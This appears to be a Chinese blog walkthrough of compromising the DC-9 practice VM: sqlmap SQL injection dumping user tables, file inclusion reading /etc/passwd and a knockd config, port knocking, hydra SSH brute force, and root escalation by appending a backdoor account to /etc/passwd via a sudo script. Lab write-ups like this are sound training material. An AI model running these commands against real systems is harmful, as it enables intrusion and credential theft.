DC-9靶机渗透笔记

DC-9靶机渗透笔记

一、靶机涉及内容

1、SQL注入(利用sqlmap进行POST注入)

2、本地文件包含(LFI)

3、knockd隐藏SSH

4、sudo提权(理解/etc/passwd和/etc/shadow文件)

(由于校园网的原因,桥接模式上不了网,所以攻击机Kali和靶机都使用的是host-only网络模式)

二、渗透思路(过程)

1、发现主机(靶机)

常规的方法:

(1)利用arp-scan -l扫描

(2)利用nmap的-sP扫描:nmap -sP 192.168.56.0/24

发现目标靶机ip地址:192.168.56.105

2、目标主机端口扫描

利用nmap进行端口扫描:

nmap -A -p 1-65535 -sV 192.168.56.105

获取端口开放情况:

PORT   STATE    SERVICE VERSION
22/tcp filtered ssh
80/tcp open     http    Apache httpd 2.4.38 ((Debian))

3、访问http服务,挖掘漏洞

浏览器访问:192.168.56.105

在search.php处发现SQL注入点(注入点的检测:输入1回显正常,加上单引号,无结果返回,判断可能存在注入点)

使用Burpsuit抓包,将HTTP报文保存到指定文件post.txt,利用sqlmap工具尝试注入:

sqlmap -r post.txt (检测注入)
sqlmap -r post.txt --dbs (爆库)

available databases [3]:
[*] information_schema
[*] Staff
[*] users

sqlmap -r post.txt -D Staff --tables (爆表)

Database: Staff
[2 tables]
+--------------+
| StaffDetails |
| Users        |
+--------------+

sqlmap -r post.txt -D Staff -T Users --dump (获取值)

(利用sqlmap的默认md5暴力破解密码)

Database: Staff
Table: Users
[1 entry]
+--------+----------+--------------------------------------------------+
| UserID | Username | Password                                         |
+--------+----------+--------------------------------------------------+
| 1      | admin    | 856f5de590ef37314e7c3bdf6f8a66dc (transorbital1) |
+--------+----------+--------------------------------------------------+

sqlmap -r post.txt -D users -T UserDetails --dump

(获取另一个库中的用户信息,账户保存到User.txt,密码保存到Pass.txt)

Web页面admin登录,在页面底部发现"File does not exist",可能存在文件包含的点。传参file=…/…/…/…/etc/passwd获取文件信息,验证猜想。

4、利用knockd打开ssh

由于存在任意文件包含漏洞,发现/etc/knockd.conf文件:

[options] 
UseSyslog 
[openSSH] 
sequence = 7469,8475,9842 
seq_timeout = 25 
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT 
tcpflags = syn 
[closeSSH] 
sequence = 9842,8475,7469 
seq_timeout = 25 
command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT 
tcpflags = syn 

可以发现,如果试探连接 7469,8475,9842 这三个端口,将会开放iptables防火墙对于22端口的流量,敲击9842,8475,7469 三个端口,会过滤连接22端口的流量。

接下来进行端口的敲击打开:

nc 192.168.56.105 7469
nc 192.168.56.105 8475
nc 192.168.56.105 9842 

利用上面保存的User.txt和Pass.txt,使用hydra对目标ssh服务进行爆破:(通过对/etc/passwd文件分析,发现存在几个账户和数据库中的几个账户名相同,进而猜测可能存在某种关联,进行爆破处理)

hydra -L User.txt -P Pass.txt ssh://192.168.56.105

获取到部分SSH账户和密码:

[DATA] attacking ssh://192.168.56.105:22/
[22][ssh] host: 192.168.56.105   login: chandlerb   password: UrAG0D!
[22][ssh] host: 192.168.56.105   login: joeyt   password: Passw0rd
[22][ssh] host: 192.168.56.105   login: janitor   password: Ilovepeepee

5、连接目标主机,提权

随便拿个账户,ssh连接上去:(chandlerb账号里面好像没啥信息)

ssh [email protected]

在家目录发现隐藏文件夹:.secrets-for-putin

发现一系列密码:

BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts

取出这些密码,重新进行爆破,获得一个新的账号密码:

[22][ssh] host: 192.168.56.105   login: fredf   password: B4-Tru3-001

登录上去,sudo -l,发现有一个文件:

/opt/devstuff/dist/test/test

判断应该是一个python编译后的文件,接着在/opt/devstuff/发现python源文件:test.py

#!/usr/bin/python

import sys

if len (sys.argv) != 3 :
    print ("Usage: python test.py read append")
    sys.exit (1)

else :
    f = open(sys.argv[1], "r")
    output = (f.read())

    f = open(sys.argv[2], "a")
    f.write(output)
    f.close()

该py文件就是将一文件内容追加到指定文件的后面。(由于存在sudo权限,可以向/etc/passwd文件写入拥有root权限的账户)

构造加密密码:

openssl passwd -1 -salt admin 123456

构造新的用户:

admin: 1 1 1admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash

将此串内容保存到一个文件中(一般选取家目录的文件或者/tmp临时文件)

echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/admin

接下来运行test文件,写入/etc/passwd:

sudo ./test /tmp/admin /etc/passwd

登录设置的用户:su admin获取到root权限

三、总结

渗透测试思路比较重要,需要的知识储备也非常多。

留意每一小点,也许会有不一样的发现;多做一点尝试,也许会有意外收获。

猜你喜欢

转载自blog.csdn.net/gental_z/article/details/108512842